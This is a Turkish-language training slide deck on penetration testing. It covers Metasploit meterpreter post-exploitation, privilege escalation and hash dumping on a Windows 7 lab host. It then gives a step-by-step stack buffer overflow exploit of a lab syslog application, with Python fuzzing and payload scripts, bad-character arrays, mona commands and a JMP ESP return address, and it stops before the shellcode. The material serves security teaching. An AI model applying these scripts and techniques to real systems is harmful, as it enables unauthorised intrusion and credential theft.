Metasploit öntanımlı olarak


meterpreter payload'u
kullanıyor, bu yüzden payload
tanımlamadan da "exploit"
komutunu çalıştırabiliyoruz.
METERPRETER KULLANIMI

hashdump (Meterpreter
komutu)

Meterpreter payload'umuz
çalıştığında desteklenen
meterpreter komutlarını "help"
komutuyla görebiliriz.
Hashdump komutunun yanıt
döndürebilmesi için mevcut
erişim haklarımız yeterli
olmadı.
METERPRETER KULLANIMI

getsystem

Haklarımızı yükseltmek için


Meterpreter'in "getsystem" komutunu
kullanıyoruz
Ancak bu işlem de başarısız oluyor.
Bunun nedeni kullanılan payload'un
X86 mimarisi için olması da olabilir,
ancak exploit ettiğimiz Allmedia
sunucusu bir X86 uygulama olduğu için
bir X64 payload kullanamadık.
Denemek isterseniz bu bağlantı
üzerinden ayrı bir X64 exe payload
atılarak gözlemleyebilirsiniz.
METERPRETER KULLANIMI

run post/windows/gather/win_privs
Local Admin grubundayız,
ancak UAC'de aktif olduğu
için Admin haklarımızı
kullanamıyoruz.

win_privs post exploitation


modülünü kullanarak erişim
sağladığımız kullanıcının haklarını
ve hedef sunucuda UAC (User
Account Control) kontrolünün aktif
olup olmadığını kontrol ediyoruz.
METERPRETER KULLANIMI

Windows 7 işletim
sistemimiz üzerinde UAC
kontrolünün aktif olduğunu
görebiliriz.
POST EXPLOITATION VE YETKİ YÜKSELTME
Bu defa yetki yükseltme işlemimizi yine bir lokal exploit
kullanarak, ancak işlemimizi tamamen Metasploit
platformunun kolaylıklarını kullanarak gerçekleştireceğiz.

search local
POST EXPLOITATION VE YETKİ YÜKSELTME

Karşımıza çıkan Metasploit lokal exploit modüllerini sırası ile


mevcut Meterpreter oturumumuz üzerinden deneyebiliriz. Biz
daha önceden çalıştığını bildiğimiz bir lokal exploit'i kullanarak
ilerleyelim.
POST EXPLOITATION VE YETKİ YÜKSELTME

show options

set session 1
POST EXPLOITATION VE YETKİ YÜKSELTME

run

whoami
POST EXPLOITATION VE YETKİ YÜKSELTME

Meterpreter'in "hashdump" fonksiyonunu kullanabilmek için


mevcut payload'umuzu "windows/x64/meterpreter/reverse_tcp"
payload'u ile değiştirelim ve lokal exploit'umuzu tekrar çalıştıralım.
POST EXPLOITATION VE YETKİ YÜKSELTME
Yeni payload'umuzla bir
Meterpreter oturumu alabildik.
POST EXPLOITATION VE YETKİ YÜKSELTME
Bağlı olduğumuz kullanıcı adına
baktığımızda "SYSTEM" kullanıcı
olduğumuzu görebiliyoruz.
HASHDUMP
"hashdump" komutu ile sistem üzerindeki parola hash'lerini görüntüleyebildik.
Bu hash değerlerini daha sonra parola saldırısında kullanabiliriz.

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1000:aad3b435b51404eeaad3b435b51404ee:979357191cb4f445b47292af934fd2a7:::
BELLEK
TAŞMA
AÇIKLIKLARI
İÇERİK
• Stack Tabanlı Bellek Taşması
• Kullanılacak Araçlar
• Uygulamanın Fuzz Edilmesi
• Python Script
• EIP Register Kontrolü
• Stack Alanı
• Bad Char
• Return Address – JMP ESP
• Shellcode
• Metasploit’ Exploit Ekleme Adımları
STACK TABANLI BELLEK TAŞMASI
STACK’İN KULLANIM AMAÇLARI

• Fonksiyon lokal değişkenleri için hafıza alanı sağlaması


• Bir fonksiyon çağrıldığında çağrılan fonksiyondan çıkıldığında
dönülecek instruction adresinin saklanması
• Çağıran fonksiyonun stack taban adresinin saklanması
• Çağrılan fonksiyona aktarılacak parametrelerin saklanması
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i
esp
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
TEMEL X86 REGISTER’LARI

EIP
Bir sonra çalışacak olan instruction’ın adresi

EBP ve ESP
İçinde bulunulan fonksiyonun stack frame’inin taban ve tavan adreslerini
barındıran register’lar

EAX, EBX, ECX, EDX, ESI, EDI


Genel amaçlı register’lar

EFLAGS
Çeşitli instruction’lar tarafından etkilenen ve kullanılan bayrakları barındıran 32
bit’lik bir register
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


esp
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
call main
return 0;
}
ya da
int main()
{
call 0x00412345
char[400]="";
f1(10);
printf("def");
return 0;
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


{ ebp saklanan EBP
esp
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
push ebp
int main()
mov ebp, esp
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


{ ebp saklanan EBP
int i=0;
int x=girdi; 0x190 byte’lık alan
char adSoyad[32]; esp
adSoyad="AAA...AAA";
return 0;
}
sub esp, 0x190
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


{ ebp saklanan EBP
int i=0;
int x=girdi; 0x190 byte’lık alan
char adSoyad[32];
adSoyad="AAA...AAA"; 0x0A000000 esp
return 0;
}
push 0xA
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


{ ebp saklanan EBP
int i=0;
int x=girdi; 0x190 byte’lık alan
char adSoyad[32];
adSoyad="AAA...AAA"; 0x0A000000
return 0; saklanan EIP (main) esp
}
call f1
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


{ saklanan EBP
int i=0;
int x=girdi; 0x190 byte’lık alan
char adSoyad[32];
adSoyad="AAA...AAA"; 0x0A000000
return 0; saklanan EIP (main)
} saklanan EBP (main) esp
push ebp ebp
int main()
mov ebp, esp
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


{ saklanan EBP
int i=0; 0x190 byte’lık
int x=girdi; tanımsız alan
char adSoyad[32];
adSoyad="AAA...AAA"; 0x0A000000
return 0; saklanan EIP (main)
} saklanan EBP (main)
sub esp, 0x28 ebp
int main()
{
0x28 byte’lık tanımsız
char[400]="";
alan
f1(10);
printf("def");
return 0; esp
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


{ saklanan EBP
int i=0; 0x190 byte’lık
int x=girdi; tanımsız alan
char adSoyad[32];
adSoyad="AAA...AAA"; 0x0A000000
return 0; saklanan EIP (main)
} saklanan EBP (main)
mov [ebp-4], 0x0 ebp
int main() 0x00000000
{
char[400]=""; 0x24 byte’lık tanımsız
f1(10); alan
printf("def");
return 0; esp
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


{ saklanan EBP
int i=0; 0x190 byte’lık
int x=girdi; tanımsız alan
char adSoyad[32];
adSoyad="AAA...AAA"; 0x0A000000
return 0; saklanan EIP (main)
} saklanan EBP (main)
mov ebx, [ebp+8] ebp
int main() 0x00000000
mov [ebp-8], ebx
{ 0x0A000000
char[400]="";
0x20 byte’lık tanımsız
f1(10);
alan
printf("def");
return 0; esp
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


{ saklanan EBP
int i=0; 0x190 byte’lık
int x=girdi; tanımsız alan
char adSoyad[32]; 0x41414141
adSoyad="AAA...AAA"; 0x41414141
0x0A000000
memset v.b.
return 0; saklanan
0x41414141
EIP (main)
Fonksiyonla
} saklanan
0x41414141
EBP (main)
AAA...AAA ebp
int main() 0x00000000
0x41414141
sabitinin ayrılan
{ 0x0A000000
0x41414141
hafıza alanına
char[400]=""; 0x41414141
yazılması 0x20 byte’lık tanımsız
f1(10); 0x41414141
alan
printf("def"); 0x41414141
return 0; esp
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


{ saklanan EBP
int i=0; EAX = 0x00000000 0x190 byte’lık
int x=girdi; tanımsız alan
char adSoyad[32]; 0x41414141
adSoyad="AAA...AAA"; 0x41414141
0x0A000000
return 0; saklanan
0x41414141
EIP (main)
} saklanan
0x41414141
EBP (main) esp
xor eax, eax ebp
int main() 0x41414141
add esp, 0x28
{ 0x41414141
char[400]=""; 0x41414141
f1(10); 0x41414141
printf("def"); 0x41414141
return 0;
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


{ saklanan EBP
int i=0; EBP = 0x41414141 0x190 byte’lık
int x=girdi; tanımsız alan
char adSoyad[32]; 0x41414141
adSoyad="AAA...AAA"; 0x41414141
0x0A000000 esp
return 0; 0x41414141
} 0x41414141
pop ebp
int main() 0x41414141
ret
{ 0x41414141
char[400]=""; 0x41414141
f1(10); 0x41414141
printf("def"); EIP = 0x41414141 0x41414141
return 0;
}
Düşük Adres
STACK TABANLI BELLEK TAŞMASI
Pseudo Kod Pseudo Stack
Yüksek Adres
Assembly main fonksiyonunu çağıran
fonksiyonun stack frame’i

int f1(int girdi) saklanan EIP


{ saklanan EBP
int i=0; 0x190 byte’lık
int x=girdi; tanımsız alan
char adSoyad[32]; 0x41414141
adSoyad="AAA...AAA"; 0x41414141
0x0A000000 esp
return 0; 0x41414141
} 0x41414141
????????
int main() 0x41414141
{ 0x41414141
char[400]=""; 0x41414141
f1(10); 0x41414141
printf("def"); EIP = 0x41414141 0x41414141
return 0;
}
Düşük Adres
BUFFER OVERFLOW
• Bu bölümde Buffer Overflow yöntemi kullanarak
shell açma konusundan bahsedeceğiz. Shell açmak
için gerekli çalışmaları yaptıktan sonra
oluşturacağımızı exploiti Metasploit framework
üzerine bir modül olarak ekleyeceğiz.

• Adımlarımızı BTRisk tarafından bu konuya özel olarak


geliştirilen BTRSyslog uygulaması üzerinde
gerçekleştireceğiz.
UYGULAMA HAKKINDA
• BTRSyslog uygulaması UDP 514 portunu dinleyerek
kendisine gelen paketleri toplamaktadır. Bu nedenle
Buffer Overflow adımlarını izlerken bizde bu port ve
protokolden faydalanacağız.
UYGULAMA TESTİ
• hping3 192.168.2.4 -p 514 --udp --data 1
KULLANILACAK ARAÇLAR
• Immunity Debugger
http://debugger.immunityinc.com/ID_register.py
• mona.py script'i
https://www.corelan.be/index.php/2011/07/14/mona-
py-the-manual/

Mona.py script'imizi Immunity Debugger üzerinde kullanılabilmesi için bu dosyayı şu dizine


kopyalamalıyız:
C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands\
UYGULAMANIN FUZZ EDİLMESİ
• BTRSyslog uygulaması UDP 514 portundan girdi alıyor.
Bu porta gönderilecek verileri üretmek ve herhangi
bir bellek taşması bulunup bulunmadığını test etmek
amacıyla bir fuzzing script'i kullanacağız.
FUZZ SCRIPT (PYTHON)
#!/usr/bin/python
import socket, time Bu script ilk olarak tek bir "A" karakteri
gönderecek, sonraki pakette 10 adet "A" karakteri
 
ve daha sonraki her pakette de 10'ar tane daha
buffer = ["A"] "A" karakteri ekleyerek veri gönderilecek. Yani:
counter = 10 "A"
"AAAAAAAAAA"
while len(buffer) <=20:
"AAAAAAAAAAAAAAAAAAAA"
buffer.append("A" * counter) "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
counter = counter + 10 ... şeklinde
 
for strings in buffer:
time.sleep(1)
print "Buffer : %s byte" % len(strings)
s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.7', 514))
s.send(strings)
s.close
FUZZING – IMMUNITY DEBUGGER
• Fuzzing işlemi sırasında hata alırsak hatanın alındığı
anda belleğin durumunu ve register'ların değerlerini
net olarak görebilmek için uygulamamıza Immunity
Debugger ile "attach" olacağız (veya BTRSyslog'u
doğrudan Immunity Debugger içinden başlatabiliriz).
• Debugger uygulamaya attach edildiğinde (veya
uygulama debugger ile başlatıldığında) debugger
uygulamayı bir software breakpoint ile durdurur.
Uygulamanın çalışmaya devam edebilmesi için "Run
program" tuşuna basılır.
FUZZING – IMMUNITY DEBUGGER
• Uygulamamız belli bir veri uzunluğu aşıldığında
hata aldı ve kontrol debugger'a devredildi.

Immunity Debugger'ın CPU view'ında sağ


üst köşede Register'ların değerlerini
görebiliriz. Buraya göz attığımızda hata
alındığı anda EIP değerinin 0x41414141
olduğunu görüyoruz.
FUZZING – IMMUNITY DEBUGGER
• 0x41 değeri "A" karakterimizin ASCII Hex karşılığıdır.
• EIP değerini bizim gönderdiğimiz bir veri ile
ezebilmek demek uygulama akışına müdahale imkanı
elde ettiğimiz anlamına gelmektedir.
• EIP register'ına yazacağımız değerin anlamlı bir adres
olabilmesi için başarmamız gereken ilk adım EIP
değerine müdahale edebildiğimiz 4 byte'lık (yani 32
bit'lik) veri alanının gönderdiğimiz veri (payload)
içinde tam olarak nerede olduğunu tespit etmektir.
EIP REGISTER KONTROLÜ
• EIP registerına müdahale edebildiğimiz offset değerini
tespit edebilmek için metasploit framework içerisinde
bulunan "pattern_create.rb" scriptini kullanacağız.
• Bu script ile 200 byte uzunluğunda bir pattern
oluşturacağız.
EIP REGISTER KONTROLÜ

./pattern_create.rb -l 200
FUZZING – IMMUNITY DEBUGGER
#!/usr/bin/python
import socket
buffer =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3
Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7A
c8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6
Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"

s=socket.socket
(socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514)) Oluşturduğumuz pattern'ı
BTRSyslog'a göndermek için yandaki
s.send(buffer) script'i kullanabiliriz.
s.close Ancak BTRSyslog uygulamamızı
baştan başlatmayı unutmayınız.
EIP REGISTER KONTROLÜ

Register'lar
Instruction'lar EIP = 0x65413565

Stack alanı

Pattern BTRSyslog sunucusuna gönderildiğinde yine hata aldık, ancak bu defa


EIP değeri 0x65413565 oldu. Şimdi sıra bu verinin tam olarak hangi offset'te
yer aldığını bulmaya geldir.
EIP REGISTER KONTROLÜ

./pattern_offset.rb -q 65413565
EIP REGISTER KONTROLÜ
• 136. offset değerinin doğruluğunu test etmek için şu
formatta bir payload üretebiliriz:

buffer = "A" * 136 + "B" * 4 + "C" * 60

AAAAAAAAAAAAA...AAAAAABBBBCCCCCCCC...CCC
EIP REGISTER KONTROLÜ

#!/usr/bin/python
import socket
buffer = "A" * 136 + "B" * 4 + "C" * 60

s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close
EIP REGISTER KONTROLÜ
• Scriptimiz çalıştıktan sonra EIP register'ının
0X42424242 değerleri ile ezildiğini görüyoruz. Bu
durumda EIP offset değerimizin doğruluğundan emin
olabiliriz.
STACK ALANI
• EIP register değerini manipüle ettikten sonra sıra
belleğe kendi kodumuzu yazmaya geldi. İşe yarar bir
shellcode'un boyutu 350-400 byte civarında olacaktır.
• EIP değerini ezmeden önce kullandığımız alan 136
byte olduğundan tercihimiz EIP register'ının ezildiği
noktadan sonra shellcode'umuzu yerleştirmek olabilir.
• Ancak shellcode'umuzu yazdığımızda Stack alanının
başlangıç sınırını aşmayacağımızdan emin olmamız
lazım. Aksi taktirde payload'umuz yazılırken hata alırız
ve daha kodumuz çalışmadan uygulama sonlanır.
STACK ALANI

#!/usr/bin/python
import socket
buffer = "A" * 136 + "B" * 4 + "C" * 460

s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close
EIP'yi ezdiğimiz alandan sonra
yeterli alan bulunup
bulunmadığını test etmek için
payload'umuza 460 byte'lık bir
değer ekleyelim.
STACK ALANI

Bu noktada 2 iyi haberimiz var:


(1) Hata alındığında ESP register'ı
payload'umuzun bir bölümüne işaret
ediyor.
(2) 460 byte'lık veriyi stack'e yazabildik ve
stack limitini aşmadık.
STACK ALANI
Register'larımızdan birisinin payload'umuza işaret etmesi
önemli çünkü:
• Modern işletim sistemlerinde ASLR
uygulandığından stack alanımızın adresi her
yüklemede değişecektir. Bu yüzden payload'umuzu
çalıştırabilmek için STACK adresine güvenemeyiz.
• Ancak uygulamanın bellek alanına yüklenen ve
ASLR uygulanmayan bir modülün (yani bir başka
DLL veya EXE imajının) içinde JMP ESP, CALL ESP,
v.b. instruction'lar varsa bu modülün hafızaya
yerleştiği alan her defasında sabit olacağından bu
modülleri atlama noktası olarak kullanabiliriz.
KÖTÜ KARAKTERLER
• Gerçek payload'umuzu oluşturmaya başlamadan önce
payload'umuzun belleğe yazılmasına engel olabilecek
karakterlerin (bad chars) tespit edilmesi
gerekmektedir.
• Bu karakterlerin en tipik olanı strcpy() gibi
fonksiyonların belleğe yazmasına son vermesine
neden olan "0x00" yani null byte değeridir. Ancak
bunun dışında farklı değerler de soruna yol açabilir.
• Bu yüzden daha fazla ilerlemeden önce kötü
karakterleri tespit etmemizde fayda var.
KÖTÜ KARAKTERLER

Kötü karakterleri tespit etmek için manuel yöntemi kullanabiliriz.


Ancak "mona.py" script'inden faydalanacağız. Bunun için öncelikle
"mona"nın çıktılarını yazabilmesi için bir dizin belirlememiz lazım.

!mona config -set workingfolder c:\logs\%p


KÖTÜ KARAKTERLER
"mona" ile "\x00" hariç tüm byte'ları içerecek bir bytearray
oluşturuyoruz. "mona" bir "txt" bir de "bin" dosyası oluşturuyor.

!mona bytearray -b "\x00"


KÖTÜ KARAKTERLER
"bin" dosyası "mona" ile
bellek karşılaştırması için
kullanacağımız dosya

"txt" dosyası ise exploit


kodumuz içinde
kullanılabilecek formatta veri
içeriyor
KÖTÜ KARAKTERLER
#!/usr/bin/python
import socket
badchars =
("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = "A" * 136 + "B" * 4 + badchars
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close
"CC" payload'umuzun yerine "mona" ile
oluşturduğumuz byte array'i yerleştirerek tekrar
sunucumuza gönderiyoruz.
KÖTÜ KARAKTERLER
ESP register değerinin üzerinde sağ
klikleyerek "Follow in Dump"
seçeneğini seçiyoruz ve sol altta bu
alandaki verileri görebiliyoruz.
"\x09" byte'ından sonraki kesinti
hemen göze çarpıyor. Ancak biz kötü
karakterlerin tespitinde mona'dan
da faydalanmayı göreceğiz.
KÖTÜ KARAKTERLER "mona"nın compare komutuyla
oluşturduğumuz binary dosya ile
bellek'te 0x06C3F450 adresinden
başlayan alanı karşılaştırıyoruz.
Mona bize 9. byte'tan sonra bozulma
olduğunu \x00 ve \x0a karakterlerinin
kötü karakter olduklarını söylüyor.

!mona compare -f C:\logs\BTRSyslog\bytearray.bin -a 06C3F450


KÖTÜ KARAKTERLER
"\x0a" karakterini kötü karakter olarak belirlediğimiz için "mona" ile "\x00"
ve "\x0a" hariç tüm byte'ları içerecek yeni bir bytearray oluşturuyoruz.

!mona bytearray -b "\x00\x0a"


KÖTÜ KARAKTERLER
#!/usr/bin/python
import socket
badchars =
("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21"
"\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41"
"\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61"
"\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1"
"\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1"
"\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1"
"\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = "A" * 136 + "B" * 4 + badchars
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close "mona" ile oluşturduğumuz yeniden
oluşturduğumuz "\x00" ve "\x0a" byte'larını
içermeyen byte array'i yerleştirerek tekrar
sunucumuza gönderiyoruz.
KÖTÜ KARAKTERLER

Yeni payload'umuzu denediğimizde


ESP değerine tıklayarak "Follow in
Stack" seçeneğini seçerek tekrar
ESP'nin işaret ettiği bellek
bölümündeki verileri aşağıda
görebiliriz.
KÖTÜ KARAKTERLER

Mona "\x0d" byte'ının da kötü


karakter olduğunu belirledi.

!mona compare -f C:\logs\BTRSyslog\bytearray.bin -a 06A5F500


KÖTÜ KARAKTERLER
"\x0d" karakterini de kötü karakter olarak tanımlayarak yeni bir bytearray
oluşturuyoruz.

!mona bytearray -b "\x00\x0a\x0d"


KÖTÜ KARAKTERLER
#!/usr/bin/python
import socket
badchars =
("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22"
"\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42"
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62"
"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82"
"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2"
"\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2"
"\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = "A" * 136 + "B" * 4 + badchars
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close
"mona" ile oluşturduğumuz yeni byte array'i
yerleştirerek tekrar sunucumuza gönderiyoruz.
KÖTÜ KARAKTERLER

"\x00", "\x0a" ve "\x0d"


karakterlerini içermeyen byte array'i
sunucuya gönderdiğimizde stack
alanına yazılan veriler aşağıdaki gibi
olacaktır.
Şimdi tekrar bellek ve bytearray.bin
dosyasının karşılaştırmasını yapalım.
KÖTÜ KARAKTERLER
Son byte array'imizde herhangi bir
kötü karakter yok, tüm payload'umuz
belleğe eksiksiz yazıldı.

!mona compare -f C:\logs\BTRSyslog\bytearray.bin -a 06AAF900


RETURN ADDRESS – JMP ESP
• Uygulama her belleğe yüklendiğinde STACK adresi
değiştiğinden EIP değerini sabit bir STACK adresi ile
ezemiyoruz.
• Bu nedenle BTRSyslog proses'inin adres alanında
yüklü ancak ASLR desteği bulunmayan bir modül
içinde JMP ESP ve benzeri bir instruction bulmalı ve
EIP değerini bu instruction'ın adresi olarak
belirlemeliyiz.
RETURN ADDRESS – JMP ESP

ASLR desteği olmayan modüllere göz


attığımızda BTRSysdll.dll modülünün
aradığımız koşula uygun olduğunu
görebiliyoruz.

!mona modules
RETURN ADDRESS – JMP ESP
"mona" bize aradığımız instruction'ın adresini bulmamızda da yardımcı oluyor.
Normalde bu instruction'ın opcode'larını bularak binary bir arama yapmamız gerekirdi.
Ancak "mona" bizim için bunu bile kendisi yapıyor.

0x5060103b

!mona find -type instr -s "jmp esp" -m BTRSysdll.dll


RETURN ADDRESS – JMP ESP
• Bu adreste hangi instruction'ların bulunduğunu
görmek istersek Go To Address butonuna
tıklayarak ilgili adrese gidebiliriz.
RETURN ADDRESS – JMP ESP

5060103B FFE4 JMP ESP


SHELLCODE
• "JMP ESP" adresini tespit ettiğimize göre artık
uygulama akışına müdahale edebiliriz.
• Payload'umuzun EIP register’ını ezdiği noktaya "JMP
ESP" instruction'ının adresini yazarak uygulamayı bu
noktaya yönlendireceğiz.
